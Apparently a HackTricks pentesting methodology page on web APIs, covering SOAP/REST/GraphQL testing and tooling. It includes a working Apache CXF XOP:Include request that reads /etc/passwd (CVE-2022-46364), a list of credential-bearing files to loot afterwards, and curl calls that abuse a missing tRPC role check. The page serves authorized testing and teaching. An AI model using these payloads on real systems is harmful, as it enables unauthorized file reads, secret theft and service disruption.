// HackTricks · Network Services

Web API Pentesting

Web API Pentesting

API Pentesting Methodology Summary

Pentesting APIs involves a structured approach to uncovering vulnerabilities. This guide encapsulates a comprehensive methodology, emphasizing practical techniques and tools.[1]

Understanding API Types

  • SOAP/XML Web Services: WSDL describes services, operations, bindings, and endpoints and is often exposed through a ?wsdl URL. Tools such as SoapUI and Burp’s Wsdler extension can parse it and generate baseline requests.
  • REST-style HTTP APIs: JSON is common but not required. Look for an OpenAPI document (openapi.json, swagger.json, /api-docs) and render it with Swagger UI or import it into an HTTP client. WADL exists but is far less common in current deployments.[6][11]
  • GraphQL: A query language for APIs offering a complete and understandable description of the data in your API.

Practice Labs

  • VAmPI: A deliberately vulnerable API for hands-on practice, covering the OWASP top 10 API vulnerabilities.
  • DNE Online Calculator: A public SOAP calculator whose ?WSDL document is useful for practicing WSDL import and baseline request generation. It is a third-party demonstration service, not an intentionally vulnerable target, so keep testing to its documented operations.[13]

Effective Tricks for API Pentesting

  • SOAP/XML Vulnerabilities: Explore XXE vulnerabilities, although DTD declarations are often restricted. CDATA tags may allow payload insertion if the XML remains valid.
  • Privilege Escalation: Test endpoints with varying privilege levels to identify unauthorized access possibilities.
  • CORS Misconfigurations: Check whether untrusted origins can make credentialed requests and read the response. CORS and CSRF are related browser trust boundaries but are not interchangeable: CSRF can trigger a state change without response access, while exploitable CORS can expose response data to attacker-controlled JavaScript.[7]
  • Endpoint Discovery: Leverage API patterns to discover hidden endpoints. Tools like fuzzers can automate this process.
  • Parameter Tampering: Experiment with adding or replacing parameters in requests to access unauthorized data or functionalities.
  • HTTP Method Testing: Vary request methods (GET, POST, PUT, DELETE, PATCH) to uncover unexpected behaviors or information disclosures.
  • Content-Type Manipulation: Switch between different content types (x-www-form-urlencoded, application/xml, application/json) to test for parsing issues or vulnerabilities.
  • Advanced Parameter Techniques: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
  • Version Testing: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.

Apache CXF MTOM/XOP xop:Include as file-read / SSRF primitive

If a SOAP service uses Apache CXF with MTOM/XOP enabled, test whether a parameter accepts an inline xop:Include element inside a multipart/related request whose root part is application/xop+xml. Apache’s advisory for CVE-2022-46364 states vulnerable versions parse the href of XOP:Include in MTOM requests and can perform SSRF-style fetches.[3][4][5]

Why this matters in practice:

  • Many testers try only plain text/xml SOAP bodies and miss that the vulnerable code path is reached only after switching to MIME multipart + XOP.
  • If the application reflects the affected parameter in the SOAP response, the SSRF primitive can become arbitrary local file read by using file://.
  • Even without reflection, http:///https:// targets can still be useful for blind SSRF against internal services.

Minimal structure to adapt to the target operation:

POST /service HTTP/1.1
Content-Type: multipart/related; type="application/xop+xml"; start="<root.message@cxf.apache.org>"; boundary="MIME_boundary"

--MIME_boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: <root.message@cxf.apache.org>

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xop="http://www.w3.org/2004/08/xop/include">
  <soap:Body>
    <ns:OPERATION xmlns:ns="http://target/">
      <ns:PARAM><xop:Include href="file:///etc/passwd"/></ns:PARAM>
    </ns:OPERATION>
  </soap:Body>
</soap:Envelope>
--MIME_boundary--

Practical triage:

  1. Identify CXF version from the JAR, error pages, banners, or decompiled service artifacts.
  2. Generate a valid SOAP request first (?wsdl, SoapUI, Burp WSDLer, traced client, decompiled stubs).
  3. Convert the request to multipart/related and replace a parameter value with xop:Include.
  4. Test file:///etc/passwd for reflection-based reads and http://<collaborator> for SSRF.

After obtaining local file read, high-value targets often include:

  • systemd units in /etc/systemd/system/ and /lib/systemd/system/ for ExecStart=, EnvironmentFile=, usernames, bind addresses, and credentials passed on the command line
  • /proc/<pid>/cmdline to recover full launch arguments of interesting services
  • /proc/<pid>/environ to recover secrets injected as environment variables
  • service-specific config, env, or wrapper scripts referenced by the unit file

Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls

Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, protectedProcedure typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by protectedProcedure.[2]

  • Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
  • Black-box signal: POST /api/trpc/<router>.<procedure> endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
  • Typical tRPC route shape (v10+): JSON body wrapped under {"input": {...}}.

Example vulnerable pattern (no role/permission gate):

// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
  // but not for an admin role (authorization).
  .input(z.object({ name: z.string() }))
  .mutation(async ({ input, ctx }) => {
    // Logic to restart a sensitive migration
  }),

Practical exploitation (black-box)

  1. Register a normal account and obtain an authenticated session (cookies/headers).
  2. Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
  -H 'Content-Type: application/json' \
  -b '<AUTH_COOKIES>' \
  --data '{"input":{}}'
  1. Invoke privileged actions such as restarting a job:
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
  -H 'Content-Type: application/json' \
  -b '<AUTH_COOKIES>' \
  --data '{"input":{"name":"<migration_name>"}}'

Impact to assess

  • Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
  • DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.

Tools and Resources for API Pentesting

  • Kiterunner discovers API routes and parameters using compiled route wordlists:[8]
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
  • sj audits exposed Swagger/OpenAPI definitions for weak authentication and generates command templates for manual testing.[9]
  • Postman can import OpenAPI definitions from a file, URL, raw JSON/YAML, or a repository and generate a request collection, which is useful for preserving and replaying a discovered API surface.[12]
  • Additional tools like automatic-api-attack-tool, Astra, and restler-fuzzer offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning.
  • Cherrybomb performs API-security checks from an OpenAPI Specification document.[10]

Learning and Practice Resources

  • OWASP API Security Top 10: Essential reading for understanding common API vulnerabilities (OWASP Top 10).
  • API Security Checklist: A comprehensive checklist for securing APIs (GitHub link).
  • Logger++ Filters: For hunting API vulnerabilities, Logger++ offers useful filters (GitHub link).
  • API Endpoints List: A curated list of potential API endpoints for testing purposes (GitHub gist).

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.